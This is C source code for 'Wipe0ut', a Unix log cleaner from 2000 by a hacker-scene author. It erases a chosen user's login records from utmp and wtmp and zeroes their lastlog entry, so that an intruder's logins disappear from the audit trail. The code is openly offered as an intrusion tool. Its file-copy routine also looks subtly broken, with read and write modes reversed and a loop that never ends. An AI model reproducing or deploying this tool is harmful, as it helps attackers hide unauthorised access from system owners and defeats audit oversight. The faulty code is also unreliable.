/*
 *  Wipe0ut v1.0
 *
 *  Copyright (C) 2000 Xphere (Xphere@bofh.obit.nl).
 *
 *  Yeah, this is ANOTHER log cleaner for *NIX. Why I wrote ANOTHER log cleaner
 *  you ask me? Because the other ones were not satisfying enough. The most
 *  cleaners zero the entry out. This cleaner uses temporary files to REMOVE 
 *  the entry not just zeroing the entry out (except for the lastlog, because
 *  there is no easy way to retrieve the old entry once logged in). All the 
 *  cleaners I know, only look for the login name and doesn't check the 
 *  hostname. So it is possible to cloak the wrong user. This tool does check 
 *  if the hostname is the correct one. E-mail comments and whatever you want 
 *  to Xphere (Xphere@bofh.obit.nl).
 *
 *  Compile: gcc Wipe0ut.c -o Wipe0ut
 *
 *  Greetz: #phreak.nl  -  http://www.casema.net/~gin
 *
 */



#include <stdio.h>
#include <fcntl.h>
#include <utmp.h>
#include <string.h>
#include <unistd.h>
#include <lastlog.h>
#include <pwd.h>

#define UTMP "/var/run/utmp"
#define WTMP "/var/log/wtmp"
#define LASTLOG "/var/log/lastlog"



int copyfile(int type)
{
     int f, d, h;
     char buf[BUFSIZ];

     if (type == 0) {
          f = open(UTMP, O_WRONLY);
          d = open("/tmp/.utmp", O_RDONLY);
     }
     else if (type == 1) {
          f = open(WTMP, O_WRONLY);
          d = open("/tmp/.wtmp", O_RDONLY);
     }

     if (f < 0 || d < 0) {
          return(-1);
     }
     else {
          while ((h = read(f, buf, BUFSIZ)) > -1) {
               if (write(d, buf, h) != h) {
                    return(-1);
               }
          }
          close(f);
	  close(d);
          if (type == 0) {
               unlink("/tmp/.utmp");
          }
          else if (type == 1) {
               unlink("/tmp/.wtmp");
          }
     }
     return(0);
}



void proc_utmp(char user[32], char host[255])
{
     int t, f;
     struct utmp ut;

     fprintf(stderr, "Processing UTMP: ");
     if (((t = open(UTMP, O_RDONLY)) > -1) &&
         ((f = creat("/tmp/.utmp", 0666)) > -1)) {
          while (read(t, &ut, sizeof(struct utmp))) {
               if (!strncmp(user, ut.ut_user, strlen(ut.ut_user)) &&
                   (strlen(user) == strlen(ut.ut_user))) {
                    if (!strncmp(host, ut.ut_host, strlen(ut.ut_host)) &&
                        (strlen(host) == strlen(ut.ut_host))) {
                         /* Yeah, skip it! */
                    }
                    else if (strlen(ut.ut_host) == 0 && atoi(host) == 0) {
                         /* Yeah, skip it! */
                    }
                    else {
                         write(f, &ut, sizeof(struct utmp));
                    }
               }
               else {
                    write(f, &ut, sizeof(struct utmp));
               }
          }
          close(t);
          close(f);
          if (copyfile(0) < 0) {
               fprintf(stderr, "error! ");
               fprintf(stderr, "Skipping UTMP.\n");
               unlink("/tmp/.utmp");
          }
          else {
               fprintf(stderr, "done.\n");
          }
     }
     else {
          fprintf(stderr, "error! ");
          fprintf(stderr, "Skipping UTMP.\n");
     }
     return;
}



proc_wtmp(char user[32], char host[255])
{
     int t, f;
     struct utmp ut;

     fprintf(stderr, "Processing WTMP: ");
     if (((t = open(WTMP, O_RDONLY)) > -1) &&
         ((f = creat("/tmp/.wtmp", 0666)) > -1)) {
          while (read(t, &ut, sizeof(struct utmp))) {
               if (!strncmp(user, ut.ut_user, strlen(ut.ut_user)) &&
                   (strlen(user) == strlen(ut.ut_user))) {
                    if (!strncmp(host, ut.ut_host, strlen(ut.ut_host)) &&
                        (strlen(host) == strlen(ut.ut_host))) {
                         /* Yeah, skip it! */
                    }
                    else if (strlen(ut.ut_host) == 0 && atoi(host) == 0) {
                         /* Yeah, skip it! */
                    }
                    else {
                         write(f, &ut, sizeof(struct utmp));
                    }
               }
               else {
                    write(f, &ut, sizeof(struct utmp));
               }
          }
          close(t);
          close(f);
          if (copyfile(1) < 0) {
               fprintf(stderr, "error! ");
               fprintf(stderr, "Skipping WTMP.\n");
               unlink("/tmp/.wtmp");
          }
          else {
               fprintf(stderr, "done.\n");
          }
     }
     else {
          fprintf(stderr, "error! ");
          fprintf(stderr, "Skipping WTMP.\n");
     }
     return;
}



void proc_lastlog(char user[32])
{
     int f;
     struct lastlog last;
     struct passwd *pass;

     fprintf(stderr, "Processing LASTLOG: ");
     if (((f = open(LASTLOG, O_RDWR)) > -1) &&
         ((pass = getpwnam(user)) != NULL))  {

          lseek(f, sizeof(struct lastlog) * pass->pw_uid, SEEK_SET);
          bzero(&last, sizeof(last));
          write(f, &last, sizeof(last));
          close(f);
          fprintf(stderr, "done.\n");
     }
     else {
          fprintf(stderr, "error! ");
          fprintf(stderr, "Skipping LASTLOG.\n");
     }
     return;
}



int main(int argc, char *argv[])
{
     char user[32];
     char host[256];
     char ip[13];

     fprintf(stderr, "\n\e[0;34m[ Wipe0ut v1.0 ");
     fprintf(stderr, "by: Xphere -- #phreak.nl ]\e[0m\n\n\n");

     if (argc != 4) {
	  fprintf(stderr, "Usage: %s <user> <host> <ip>\n", argv[0]);
          fprintf(stderr, "Or to wipe out a console user: ");
	  fprintf(stderr, "%s <user> 0 0\n\n", argv[0]);
          fprintf(stderr, "Example: %s rewt ", argv[0]);
          fprintf(stderr, "ich.bin.hax0r.com 10.0.0.34\n");
          exit(-1);
     }

     strncpy(user, argv[1], 31);
     strncpy(host, argv[2], 255);
     strncpy(ip, argv[2], 12);

     proc_utmp(user, host);
     proc_wtmp(user, host);
     proc_lastlog(user);
     fprintf(stderr, "Program exitting.\n");
     exit(0);
}
